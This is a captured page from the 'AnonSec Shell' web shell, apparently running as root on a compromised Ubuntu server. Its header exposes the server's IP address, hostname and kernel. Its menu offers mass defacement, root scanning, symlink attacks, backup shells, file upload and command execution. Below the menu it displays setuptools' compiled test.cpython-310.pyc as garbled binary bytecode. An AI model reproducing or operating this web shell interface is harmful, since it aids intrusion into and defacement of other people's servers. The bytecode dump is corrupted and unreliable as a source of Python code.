AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/setuptools/command/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/setuptools/command/__pycache__/test.cpython-310.pyc
o

�_�a��@s�ddlZddlZddlZddlZddlZddlZddlmZmZddl	m
Z
ddlmZddlm
Z
mZmZmZmZmZmZmZddlmZddlmZGdd	�d	e�ZGd
d�d�ZGdd
�d
e�ZdS)�N)�DistutilsError�DistutilsOptionError)�log)�
TestLoader)�resource_listdir�resource_exists�normalize_path�working_set�evaluate_marker�add_activation_listener�require�
EntryPoint)�Command)�unique_everseenc@�eZdZdd�Zddd�ZdS)�ScanningLoadercCst�|�t�|_dS�N)r�__init__�set�_visited��self�r�9/usr/lib/python3/dist-packages/setuptools/command/test.pyrs
zScanningLoader.__init__NcCs�||jvrdS|j�|�g}|�t�||��t|d�r$|�|���t|d�r`t|jd�D]0}|�	d�rF|dkrF|jd|dd�}nt
|j|d	�rV|jd|}nq/|�|�|��q/t|�d
krk|�
|�S|dS)aReturn a suite of all tests cases contained in the given module

        If the module is a package, load tests from all the modules in it.
        If the module has an ``additional_tests`` function, call it and add
        the return value to the tests.
        N�additional_tests�__path__�z.pyz__init__.py�.���z/__init__.py�r)r�add�appendr�loadTestsFromModule�hasattrrr�__name__�endswithr�loadTestsFromName�len�
suiteClass)r�module�pattern�tests�file�	submodulerrrr"s$



z"ScanningLoader.loadTestsFromModuler)r$�
__module__�__qualname__rr"rrrrrsrc@r)�NonDataPropertycCs
||_dSr��fget)rr2rrrrBs
zNonDataProperty.__init__NcCs|dur|S|�|�Srr1)r�obj�objtyperrr�__get__Es
zNonDataProperty.__get__r)r$r.r/rr5rrrrr0Asr0c@s�eZdZdZdZgd�Zdd�Zdd�Zedd	��Z	d
d�Z
dd
�Zej
gfdd��Zeej
dd���Zedd��Zdd�Zdd�Zedd��Zedd��ZdS)�testz.Command to run unit tests after in-place buildz0run unit tests after in-place build (deprecated)))ztest-module=�mz$Run 'test_suite' in specified module)ztest-suite=�sz9Run single test, case or suite (e.g. 'module.test_suite'))ztest-runner=�rzTest runner to usecCsd|_d|_d|_d|_dSr)�
test_suite�test_module�test_loader�test_runnerrrrr�initialize_optionsZs
ztest.initialize_optionscCs�|jr|jrd}t|��|jdur"|jdur|jj|_n|jd|_|jdur/t|jdd�|_|jdur7d|_|jdurFt|jdd�|_dSdS)Nz1You may specify a module or a suite, but not bothz.test_suiter<z&setuptools.command.test:ScanningLoaderr=)r:r;r�distributionr<�getattrr=)r�msgrrr�finalize_options`s




�ztest.finalize_optionscCst|���Sr)�list�
_test_argsrrrr�	test_argss�ztest.test_argsccs:�|jstjdkrdV|jrdV|jr|jVdSdS)N)���discoverz	--verbose)r:�sys�version_info�verboserrrrrDws��ztest._test_argscCs4|���|�Wd�dS1swYdS)zI
        Backward compatibility for project_on_sys_path context.
        N)�project_on_sys_path)r�funcrrr�with_project_on_sys_paths
"�ztest.with_project_on_sys_pathc
csL�|�d�|jddd�|�d�|�d�}tjdd�}tj��}zkt|j�}tj�	d|�t
��tdd��t
d|j|jf�|�|g��dVWd�n!1sXwYW|tjdd�<tj��tj�|�t
��dSW|tjdd�<tj��tj�|�t
��dS|tjdd�<tj��tj�|�t
��w)	N�egg_info�	build_extr)�inplacercSs|��Sr)�activate)�distrrr�<lambda>�sz*test.project_on_sys_path.<locals>.<lambda>z%s==%s)�run_command�reinitialize_command�get_finalized_commandrJ�path�modules�copyr�egg_base�insertr	rrr�egg_name�egg_version�paths_on_pythonpath�clear�update)r�
include_dists�ei_cmd�old_path�old_modules�project_pathrrrrM�s:�




�
�
�

ztest.project_on_sys_pathc
cs��t�}tj�d|�}tj�dd�}z4tj�t|��}td||g�}tj�|�}|r/|tjd<dVW||ur@tj�dd�dS|tjd<dS||urStj�dd�w|tjd<w)z�
        Add the indicated paths to the head of the PYTHONPATH environment
        variable so that subprocesses will also see the packages at
        these paths.

        Do this in a context that restores the value on exit.
        �
PYTHONPATHrN)	�object�os�environ�get�pathsep�joinr�filter�pop)�paths�nothing�orig_pythonpath�current_pythonpath�prefix�to_join�new_pathrrrr`�s"�

�ztest.paths_on_pythonpathcCsD|�|j�}|�|jpg�}|�dd�|j��D��}t�|||�S)z�
        Install the requirements indicated by self.distribution and
        return an iterable of the dists that were built.
        css2�|]\}}|�d�rt|dd��r|VqdS)�:rN)�
startswithr
)�.0�k�vrrr�	<genexpr>�s���
�z%test.install_dists.<locals>.<genexpr>)�fetch_build_eggs�install_requires�
tests_require�extras_require�items�	itertools�chain)rT�ir_d�tr_d�er_drrr�
install_dists�s
�ztest.install_distsc	Cs�|�dtj�|�|j�}d�|j�}|jr|�d|�dS|�d|�tt	�
d�|�}|�|��)|���|�
�Wd�n1sGwYWd�dSWd�dS1s_wYdS)Nz�WARNING: Testing via this command is deprecated and will be removed in a future version. Users looking for a generic test entry point independent of test runner are encouraged to use tox.� zskipping "%s" (dry run)zrunning "%s"�location)�announcer�WARNr�r?rn�_argv�dry_run�map�operator�
attrgetterr`rM�	run_tests)r�installed_dists�cmdrqrrr�run�s$�

��"�ztest.runcCsVtjdd|j|�|j�|�|j�dd�}|j��s)d|j}|�|t	j
�t|��dS)NF)�
testLoader�
testRunner�exitzTest failed: %s)�unittest�mainr��_resolve_as_epr<r=�result�
wasSuccessfulr�r�ERRORr)rr6rArrrr��s

�

�ztest.run_testscCsdg|jS)Nr�)rErrrrr��rFz
test._argvcCs$|durdSt�d|�}|���S)zu
        Load the indicated attribute value, called, as a as if it were
        specified as an entry point.
        Nzx=)r
�parse�resolve)�val�parsedrrrr��s
ztest._resolve_as_epN)r$r.r/�__doc__�description�user_optionsr>rBr0rErDrO�
contextlib�contextmanagerrM�staticmethodr`r�r�r��propertyr�r�rrrrr6Ks.



r6)rjr�rJr�r�r��distutils.errorsrr�	distutilsrr�
pkg_resourcesrrrr	r
rrr
�
setuptoolsr� setuptools.extern.more_itertoolsrrr0r6rrrr�<module>s(
(

Anon7 - 2022
AnonSec Team